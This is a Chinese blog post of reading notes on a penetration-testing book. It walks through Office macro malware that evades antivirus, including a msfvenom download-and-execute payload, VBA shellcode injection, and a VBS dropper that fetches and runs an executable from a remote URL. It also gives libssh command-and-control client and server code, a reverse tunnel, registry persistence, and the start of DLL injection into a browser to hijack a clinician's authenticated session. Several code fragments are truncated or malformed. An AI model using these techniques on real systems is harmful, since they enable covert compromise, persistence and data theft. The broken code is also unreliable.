Advanced Penetration Testing Hacking the World’s Most Secure Networks by Wil Allsopp

宏病毒bypassAV技巧

  • 下载WPS的VAB插件

https://dl.pconline.com.cn/download/2589186.html

  • 生成payload
msfvenom -p windows/download_exec -f vba -e shikata-ga-nai -i 5
-a x86 --platform Windows EXE=c:	emppayload.exe URL=http://192.168.0.184:8088

  • https://www.virustotal.com/ 检测文件 很多病毒扫描不扫描声明部分,仅扫描代码主体部分,因此可以使用别名的技巧。

  • 从kernel32.dll导入了三个函数( CreateThread,VirtualAlloc,RtlMoveMemory)创建进程,分配内存,移入内存空间。正常的办公文件中是不会有这些操作的,这就是特征

  • 为函数导入添加别名实际上足够绕过许多AV解决方案的查杀

Private Declare PtrSafe Function CreateThread Lib "kernel32" Alias "CTAlias" (ByVal Zdz As Long, ByVal Tfnsv As Long, ByVal Kyfde As LongPtr,Spjyjr As Long, ByVal Pcxhytlle As Long, Coupxdxe As Long) As LongPtr
  • 使用shellcode进行攻击很方便,但是很容易检测到。虽然多次迭代以多种方式对此进行编码,以确保它不会触发AV签名并且效果很好,但是payload的本身依旧是字节数组。哪怕是人为审计,看见这个也马上会明白过来。对于AV而言似乎是可疑的,并且很可能会触发通用的shellcode警告。此外,现代的防病毒软件具备启发式检测,让代码编译并跑起来,不管你怎么编码,AV都能看见它在做什么。对于认真的APT行动而言,这几乎不够隐秘。可以通过多种方式对该数组进行编码(例如,作为Base64字符串),然后在运行时对其进行重构,但这并不能减少AV命中次数,因此通常不值得这样做。

  • 下一段代码包含函数自身的调用,其中特征非常明显,既然没有上面的payload也能从这里发现单纯的攻击思维。特征:VirtualAlloc,RtlMoveMemory,CreateThread。无论如何都会触发AV。
Qgsztm = VirtualAlloc(0, UBound(Wizksxyu), &H1000, &H40)
For Rxnffhltx = LBound(Wizksxyu) To UBound(Wizksxyu)
Hdhskh = Wizksxyu(Rxnffhltx)
Svfb = RtlMoveMemory(Qgsztm + Rxnffhltx, Hdhskh,
Next Rxnffhltx
Svfb = CreateThread(0, 0, Qgsztm, 0, 0, 0)
  • 自动执行代码, 没有合法的需求要这样做。

Sub Auto_Open
Main block of code
End Sub

  • Excel调用了其他两个函数,它们只是指向Word的Auto_Open函数。

  • 使用一个自动打开的函数是可疑的,这里还使用了三个!立马就会被标记。只需删除对Word文档的后两个调用,我们可以立即降低AV命中率。 删除所有三个减少甚至更重要。
  • 使用VBA/VBS双Stager【消减代码本身特征,引入新的机制来执行payload】

VBS是一种解释型非编译语言,可以从简单的文本文件中调用代码。 因此,bypass思维就变成了表面上在编写无害的VBA宏,宏中编写VBS的有效负载,将其写入文件并执行。由VBS代码执行繁重的工作。

Sub WritePayload()
	Dim PayLoadFile As Integer
	Dim FilePath As String
    	FilePath = "C:	emppayload.vbs"
		PayloadFile = FreeFile
		Open FilePath For Output As TextFile
		Print #PayLoadFile, "VBS Script Line 1"
		Print #PayLoadFile, " VBS Script Line 2"
		Print #PayLoadFile, " VBS Script Line 3"
		Print #PayLoadFile, " VBS Script Line 4"
	Close PayloadFile
	Shell "wscript c:	emppayload.vbs"
End Sub

VirtualAlloc,RtlMoveMemory,CreateThread,以及多次调用Auto_Open的这些特征全都消失不见了。尽管代码中还有可疑的shell,但它不是执行未知或可疑的代码,而是使用Windows Scripting Host,它是操作系统的组成部分。Shell "wscript c: emppayload.vbs"这是操作系统的生态部分之一。只不过vbs文件里面有问题而已。注意代码中的PayLoadFile只是说明,改成其他通用的命名。

  • 尽可能保持通用代码,对于VBS本身,将以下脚本插入到print语句中
HTTPDownload "http://www.wherever.com/files/payload.exe", "C:	emp"
	Sub HTTPDownload( myURL, myPath )
		Dim i, objFile, objFSO, objHTTP, strFile, strMsg
		Const ForReading = 1, ForWriting = 2, ForAppending = 8
		Set objFSO = CreateObject( "Scripting.FileSystemObject" )
		If objFSO.FolderExists( myPath ) Then
			strFile = objFSO.BuildPath( myPath, Mid( myURL, InStrRev(
myURL, "/" ) + 1 ) )
		ElseIf objFSO.FolderExists( Left( myPath, InStrRev( myPath, ""
) - 1 ) ) Then
       			strFile = myPath
	End If
		Set objFile = objFSO.OpenTextFile( strFile, ForWriting, True )
		Set objHTTP = CreateObject( "WinHttp.WinHttpRequest.5.1" )
		objHTTP.Open "GET", myURL, False
		objHTTP.Send
		For i = 1 To LenB( objHTTP.ResponseBody )
			objFile.Write Chr( AscB( MidB( objHTTP.ResponseBody, i, 1 ) ) )
	Next
			objFile.Close( )
		Set WshShell = WScript.CreateObject("WScript.Shell")
		WshShell.Run "c:	emppayload.exe"
		End Sub
  • 建议对现实世界进行某种形式的混淆处理。还请注意,下载和执行可执行文件完全不需要这种复杂性。 可以使用shell命令来调用Windows附带的各种工具,以便在一个命令中执行此操作,丢进virustotal只剩17个在告警可疑性,只有寥寥的5个直接定性为病毒。VBS文件本身更是只触发几个告警了。

  • 代码混淆

可以将有效载荷的行编码为Base64并在将它们写入目标文件; 这是原始的,但又是说明性的。 在任何
事件,如果是由人而非AV和进行了认真的法医鉴定以确定目的的代码,如果要掩盖编码。可以进一步混淆该代码(例如,使用XOR函数)

命令与控制

基本要求

  • 能回连
  • 隐形--避免通过主机或基于网络的入侵检测系统(IDS)进行检测
  • 远程文件系统访问
  • 远程命令执行
  • 受感染的主机和C2服务器之间的所有流量都需要按照高行业标准进行加密。
  • 持久化
  • 端口转发-能够通过受感染的主机双向重定向流量
  • 控制线程-确保在网络中断或其他异常情况下重新建立与C2服务器的连接。

使用安全且用途广泛的SSH协议

C2 Server

  • 在TCP端口443上运行的SSH服务
  • Chroot监视SSH服务器
  • 修改的SSH配置允许远程转发隧道

Payload

  • SSH服务器在非标准TCP端口上的实现
  • SSH客户端的实现允许连接回C2服务器
  • 通过SSH客户端实现SSH隧道(本地和动态),从而允许C2访问目标文件系统和进程

为了实现有效负载的要求,我强烈建议对C编程语言使用libssh库(https://www.libssh.org/)

以下代码将实现在TCP端口900上运行的SSH服务器。

  • 该代码足以建立经过身份验证的SSH客户端会话(使用用户名和密码而不是公共密钥)
#include <libssh/libssh.h>
#include <stdlib.h>
#include <stdio.h>
#include <windows.h>
int main()
{
ssh_session my_ssh_session;
int rc;
char *password;
my_ssh_session = ssh_new();
if (my_ssh_session == NULL)
exit(-1);
ssh_options_set(my_ssh_session, SSH_OPTIONS_HOST, "c2host");
ssh_options_set(my_ssh_session, SSH_OPTIONS_PORT, 443);
ssh_options_set(my_ssh_session, SSH_OPTIONS_USER, "c2user");
rc = ssh_connect(my_ssh_session);
if (verify_knownhost(my_ssh_session) < 0)
{
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
exit(-1);
}
password = ("Password");
rc = ssh_userauth_password(my_ssh_session, NULL, password);
ssh_disconnect(my_ssh_session);
ssh_free(my_ssh_session);
}
  • 此代码创建了一个非常简单的SSH服务器实例
#include "config.h"
#include <libssh/libssh.h>
#include <libssh/server.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
#include <windows.h>
static int auth_password(char *user, char *password){
if(strcmp(user,"c2payload"))
return 0;
if(strcmp(password,"c2payload"))
return 0;
return 1; }
ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_BINDPORT_STR, 900)
return 0
} int main(){
sshbind=ssh_bind_new();
session=ssh_new();
ssh_disconnect(session);
ssh_bind_free(sshbind);
ssh_finalize();
return 0;
}
  • 最后,可以如下创建反向隧道
rc = ssh_channel_listen_forward(session, NULL, 1080, NULL);
channel = ssh_channel_accept_forward(session, 200, &port);
  • 简单介绍持久化,这是零隐形
char command[100];
strcpy( command, " reg.exe add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Innoce" );
system(command);
  • 部署图如下

一旦有了远程转发端口,就可以像启动VBA宏的用户进程一样完全访问受感染的主机。 我们可以通过SSH协议使用SFTP进行文件系统访问。 为了使payload启动远程隧道,应在C2主机上的/etc/ssh/sshd.config文件中添加以下行:

Match User c2user
GatewayPorts yes

这种设置有很大的不足。 它要求payload和C2之间保持恒定的连接,该连接只能处理一个连接(远程隧道),因此一次只能处理一个受损的主机。 有效负载中没有内置的自治或智能功能来处理甚至轻微的异常情况

  • 认证绕过

在一些后渗透中,特定的应用需要内网中定制的浏览器中的多因素认证才能访问。选择权限继承的方式,而不是想办法获取账号密码。因为远程获取不到放在钱包中的其他因素认证(比如,智能卡等)

使用对目标的访问工作站可以透明地继承医生浏览器的权限,利用他或她的权限来做我们想要做的事情。
要完成此攻击,我们需要能够做三件事:

  • 将代码注入到访问医疗数据库的IE进程中。
  • 基于Microsoft WinInet API创建Web代理动态链接库(DLL)
  • 通过我们的SSH隧道和新创建的代理传递网络流量

DLL注入是将代码插入现有(正在运行)的进程(程序)的过程。 最简单的方法是在kernel32.dll中使用LoadLibraryA()函数。 问题在于此功能将在目标进程中注册我们的DLL,这被防病毒措施所禁止(尤其是在受良好监控的进程中,例如Internet Explorer)。 还有其他更好的方法可以做到这一点。 从本质上讲,它分为四个步骤:

1.附加到目标进程(在本例中为Internet Explorer)。

2.在目标进程中分配内存。

3.将DLL复制到目标进程内存中并计算适当的 内存地址。

4.指示目标进程执行您的DLL。

这些步骤的每一个都在Windows API中有详细记录。

附加到进程

hHandle = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
网络安全交流需求,请加QQ群:454307026(网络安全才加)。开通B站UP主:sec875,关键词搜索:sec875,主要发布安全书籍的读书心得。 【本人不保证技术的实用性,一切文章仅供参考,如有谬错,请留言】
原文地址:https://www.cnblogs.com/sec875/p/14290653.html